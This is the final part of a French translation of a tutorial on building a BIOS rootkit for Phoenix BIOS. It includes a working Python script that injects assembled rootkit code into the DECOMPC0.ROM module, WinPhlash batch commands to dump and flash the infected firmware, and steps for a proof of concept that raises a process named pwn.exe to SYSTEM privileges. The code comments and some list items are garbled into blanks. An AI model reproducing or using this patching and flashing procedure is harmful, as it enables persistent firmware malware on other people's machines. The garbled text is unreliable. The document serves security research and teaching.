Rootkits basés sur le BIOS. Partie 3

Nous publions la dernière partie de la traduction, qui a été préparée à la veille du début des cours de base et avancés "Reverse Engineering".














Déballage et correction du BIOS



Maintenant que nous savons comment nous voulons injecter le rootkit dans le BIOS, l'étape suivante consiste en fait à patcher le BIOS avec notre code rootkit. Pour ce faire, nous devons extraire tous les modules du BIOS, patcher le module de déballage et tout reconstruire. Les modules peuvent être extraits à l'aide de l'utilitaire de console phxdeco ou de Phoenix BIOS Editor. Une fois le module de décompression extrait, le code suivant le corrigera avec notre rootkit:



#!/usr/bin/python
import os,struct,sys
###############################################
#      BIOS -   
#  Phoenix BIOS Editor ( Windows)    ,   ,    «DECOMPC0.ROM».
#     C:\Program Files\Phoenix Bios Editor\TEMP (   )    BIOS WPH.         .
#   ,  BIOS Editor       BIOS - BIOS Editor    BIOS WPH.
#           phnxdeco.exe,       .
#  ,  NASM   ,    .
#
# INPUT:
#     ,      asm-  BIOS        .
#
# OUTPUT:
#     DECOMPC0.ROM,     ,   , ,    asm-  BIOS.
#    
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#    
shellcode = sys.argv[1].lower()
#     . NASM    ,    !
os.system('nasm %s' % shellcode)
#       
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
#     ,     0x23  ROM  .
# ROM   ,      push,     CLD.            mov.
#       ,       .
#  ,  ,   Near Call,     ROM- ,      .
#     NOP   .
minihook = '\xe8\x28\x04\x90\x90\x90'
#   ,    ,     !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
#  ROM  
decorom = open('DECOMPC0.ROM','rb').read()
#     - 0x23,    CLD

hookoffset=0x23
#     ROM ,  ,    
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
#  ROM    NOP.
#    ,    ,   .
decorom+="\x90"*100+decomphook
#   10 NOP  .
decorom=decorom+'\x90'*10
#   ROM,     
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
#   ROM    
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#  
print "The DECOMPC0.ROM file has now been patched."




Un exemple d'appel de ce script pourrait être:



python patchdecomp.py biosrootkit.asm




Si tout fonctionne bien, vous devriez voir quelque chose de similaire à ce qui suit:



Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.




Reconstruisez le BIOS



Pour les fichiers BIOS primaires, tels que celui inclus dans VMware, un certain nombre d'utilitaires de ligne de commande inclus dans Phoenix Bios Editor (ou disponibles auprès d'Intel) peuvent être utilisés pour la reconstruction. Plus tard, lors des tests sur un vrai PC, il était nécessaire de sauvegarder le BIOS non seulement dans le format principal, de sorte que la version GUI de Phoenix Bios Editor a été utilisée comme outil de reconstruction. Malheureusement, cela signifie qu'il n'est pas possible d'avoir simplement une application qui peut être exécutée sur le système pour infecter le BIOS, du moins sans utiliser les outils fournis.



Cela signifie que l'infection du BIOS est un processus en trois étapes qui nécessite une intervention manuelle, principalement un réassemblage. L'éditeur du BIOS Phoenix avec l'image du BIOS ouverte est illustré ci-dessous:







Phoenix BIOS Editor n'a pas été développé pour remplacer les modules, mais offre néanmoins une telle opportunité. Lorsque l'image du BIOS est ouverte pour la première fois, tous les modules du BIOS seront extraits sur le disque dans un dossier situé dans C:\Program Files\Phoenix BIOS Editor\TEMP\. Le module de déballage peut être copié à partir de ce dossier, corrigé et remplacé. Phoenix BIOS Editor ne vous permettra pas de sauvegarder le BIOS inchangé, donc pour enregistrer le BIOS, nous devons changer une valeur de chaîne, puis la modifier (ou simplement la laisser ainsi).



Le code source du rootkit du BIOS et les scripts de correctifs peuvent être téléchargés à partir des liens à la fin de cet article si vous voulez tout faire vous-même.



Vrai PC



Le BIOS Phoenix a été utilisé dans toutes les conceptions basées sur VMware, il a donc été également choisi pour des tests sur un PC physique. Tous les tests BIOS physiques (et non virtuels) ont été réalisés à l'aide d'un ordinateur portable HP Pavilion ze4400. Les tests du BIOS étaient initialement prévus à l'aide d'un PC, pas d'un ordinateur portable, car il serait beaucoup plus facile d'accéder à la carte mère du PC pour flasher si nécessaire. Quoi qu'il en soit, il n'a pas été facile de trouver rapidement un PC avec le BIOS Phoenix, j'ai donc dû utiliser un ordinateur portable à la place (un merci spécial à David pour avoir flashé mon ordinateur portable après avoir accidentellement écrit le code source dans mon BIOS!)



Extraction du BIOS sur PC



La première étape pour modifier un BIOS système réel consiste à en extraire une copie. Phoenix a deux outils différents qu'ils fournissent habituellement à cet effet, l'un appelé "Phlash16" et l'autre appelé "WinPhlash". Phlash16 est un utilitaire de ligne de commande (avec une interface graphique de console), mais il ne fonctionne que sous DOS. WinPhlash, comme son nom l'indique, fonctionne à partir de Windows. Bien qu'il s'agisse d'un utilitaire GUI, il accepte également les paramètres de ligne de commande, ce qui nous permet d'automatiser le processus d'extraction du BIOS. Pour ce projet, j'ai créé plusieurs scripts pour automatiser l'extraction et le patch du BIOS, mais ils sont plutôt primitifs et peu fonctionnels.



Le script batch suivant copiera le BIOS dans un fichier nommé BIOSORIG.WPH, puis vérifiera s'il a été précédemment modifié. Script PerlCheckFlash.py vérifie simplement le contenu du BIOS pour mon nom, qui ne figure dans aucun BIOS non modifié.



@rem    BIOS  ,     .
@rem 
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem ,   BIOS  
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH




Déballage et correction du BIOS sur PC



Après avoir extrait le BIOS, l'étape suivante consiste à le patcher avec notre code rootkit. Cela peut être fait en utilisant les mêmes scripts que nous avons utilisés pour VMware dans les sections ci-dessus. Le but de ce projet était de créer des correctifs et des processus de correctifs aussi cohérents que possible. Je suis très heureux que cela se soit avéré totalement faisable, de sorte que les mêmes outils puissent être utilisés pour du matériel complètement différent fonctionnant sur le même type de BIOS.



Reconstruire le BIOS sur PC



Bien qu'il existe un outil gratuit qui peut extraire des modules du BIOS Phoenix, il semble que seul Phoenix Bios Editor les assemblera comme les PC habituels l'exigent. L'outil WinPhlash nécessite que des informations supplémentaires soient activées dans le BIOS, qu'il stocke avec le BIOS brut dans un fichier WPH. Après avoir testé de nombreuses options différentes, il semble que la seule façon de réussir à créer un fichier WPH consiste à utiliser l'interface graphique de Phoenix Bios Editor. Malheureusement, cela signifie qu'il est impossible d'avoir simplement une application qui peut être exécutée sur un système pour infecter le BIOS, du moins sans utiliser les outils fournis.



En théorie, il devrait être possible de rétroconcevoir le format WPH et de créer un outil de réassemblage BIOS personnalisé, mais cela sort du cadre de ce projet. Au lieu de cela, infecter le BIOS est un processus en trois étapes qui nécessite une intervention manuelle, principalement une reconstruction.



Comme pour la correction du BIOS VMware, vous pouvez utiliser la même technique pour que Phoenix BIOS Editor reconstruise le module corrigé. Lorsque l'image du BIOS est ouverte pour la première fois, tous les modules du BIOS seront extraits sur le disque dans un dossier situé dansC:\Program Files\Phoenix BIOS Editor\TEMP\... Le module de déballage peut être copié à partir de ce dossier, corrigé et remplacé. Phoenix BIOS Editor ne vous permettra pas de sauvegarder le BIOS inchangé, vous devez donc modifier une valeur de chaîne, puis la remettre (ou simplement la laisser ainsi) pour enregistrer le BIOS.



BIOS clignotant



Une fois le BIOS reconstruit dans un fichier WPH, le script de traitement par lots suivant déplacera la nouvelle image du BIOS dans l'EEPROM du BIOS, puis redémarrera l'ordinateur pour que les modifications prennent effet:



@rem       "BIOSPATCHED.WPH"  BIOS   ,  .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH




Résultats de modification sur ordinateur portable



En réunissant tout le travail précédent, ce qui suit montre comment le code du BIOS a été porté sur l'ordinateur portable (lancé par le script infect.bat décrit ci-dessus): Une







fois le flashage terminé, le rootkit du BIOS a démarré et démarré avec succès dans le noyau Windows. La capture d'écran suivante montre une ligne de commande qui est initialement exécutée en tant qu'utilisateur ordinaire, puis après 30 secondes, ses privilèges sont élevés:







cela démontre que le rootkit du BIOS était suffisamment portable pour fonctionner sur plusieurs systèmes (VMware, ordinateur portable HP), et que les mécanismes d'infection étaient fonctionnel et fonctionne correctement.



Le "rootkit" développé pour ce projet n'effectue qu'une seule tâche simple, mais comme indiqué en relation avec le logiciel Vbootkit2, il n'y a aucune raison pour que des fonctionnalités supplémentaires ne puissent pas y être ajoutées. Ce projet présentait le BIOS Phoenix, et il est probable qu'il existe de nombreuses similitudes entre le BIOS Phoenix et le BIOS d'autres fabricants. Bien qu'il soit probable que le code doive être écrit séparément pour chaque fournisseur, il n'y en a pas beaucoup, il est donc conseillé d'étendre la fonctionnalité du rootkit à tous les fournisseurs courants.



Dans l'introduction, j'ai noté que les nouvelles fonctionnalités du BIOS telles que les mises à jour signées font de ce qui est décrit ici beaucoup moins une menace pour la sécurité. C'est certes agréable à noter, mais il faut aussi se rappeler qu'il y a plus d'ordinateurs «obsolètes» que d'ordinateurs «neufs», donc ce type d'attaque restera un problème pendant longtemps.



Démonstration du BIOS VMware et code source



Le code source suivant et le BIOS révisé sont fournis à titre de preuve de concept. En aucun cas, je ne suggérais que les gens prennent cela et l'utilisent à des fins malveillantes, mais je voulais plutôt démontrer que de telles attaques sont tout à fait réalisables dans les anciennes configurations du BIOS. Je ne pense pas qu'il soit réaliste de prendre ce travail tel quel et de le transformer en un logiciel malveillant exploitable, et pour cette raison, je publie ce code sur Internet.



Comme indiqué dans les sections précédentes, ce code devrait fonctionner pour corriger la plupart des BIOS Phoenix. Les scripts de patch peuvent être téléchargés ici:



BIOS_Based_Rootkit_Patch_Scripts.zip



Le code source du rootkit du BIOS peut être téléchargé ici:



biosrootkit.asm



Vous avez besoin de NASMpour compiler le code de correction du BIOS si vous utilisez les scripts / code source ci-dessus. Pour que NASM fonctionne correctement, ajoutez à la variable de chemin ou mettez à jour le script de correction pour avoir un chemin absolu vers celui-ci. Vous aurez également besoin d'une copie de Phoenix BIOS Editor ou d'un équivalent gratuit pour remettre le décompresseur dans le BIOS complet.



Si vous ne voulez pas compiler tout cela vous-même et que vous voulez simplement fouiller dans ce que j'ai, le BIOS corrigé à utiliser avec VMware peut être téléchargé ici:



BIOS_rootkit_demo.ROM



Utilisation de la preuve de concept et des notes



Si vous ne voulez pas lire tous les travaux ci-dessus, voici un aperçu de la façon de l'essayer et de ce qu'il fait.



  • Téléchargez d'abord l'image à BIOS_rootkit_demo.ROMpartir du lien ci-dessus.
  • , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
  • WinXP, , , .vmx (, WindowsXP.vmx ) . , : bios440.filename = "BIOS_rootkit_demo.ROM". , BIOS_rootkit_demo.ROM , .
  • , pwn.exe (, cmd.exe).
  • Attendez 30 secondes, puis lancez le Gestionnaire des tâches. Il Pwn.exedevrait maintenant être exécuté en tant qu'utilisateur "SYSTEM", et non en tant qu'utilisateur connecté à XP.




Les étapes ci-dessus devraient fonctionner dans un monde idéal. Cependant, à la suite des tests, les danses suivantes avec un tambourin ont été révélées!



  • Instabilité du système d'exploitation. Parfois, lors du chargement ou de la fermeture d'une application, pwn.exeWindows émet un BSOD.
  • Le gestionnaire de tâches mentira à propos de l'utilisateur de votre processus si vous l'ouvrez avant l'heure de montée des privilèges des années 30. Utilisez quelque chose comme cmd avec whoami pour vérifier correctement vos autorisations.
  • Bien que j'aie réussi à le télécharger sur un vrai PC, je ne suis pas responsable des résultats si vous faites de même. J'aimerais savoir comment vous allez brique votre carte mère d'une manière ridicule si cela se produit, mais je ne vous aiderai probablement pas avec les conséquences! Testez à vos risques et périls!




Si vous voulez juste regarder une vidéo de la façon dont cela se passe, Colin l'a postée sur YouTube: Je recommande d'essayer cela dans VMware, c'est beaucoup plus amusant de voir à quel point l'effacement de votre disque dur ne résout rien et votre système est toujours étonné!










All Articles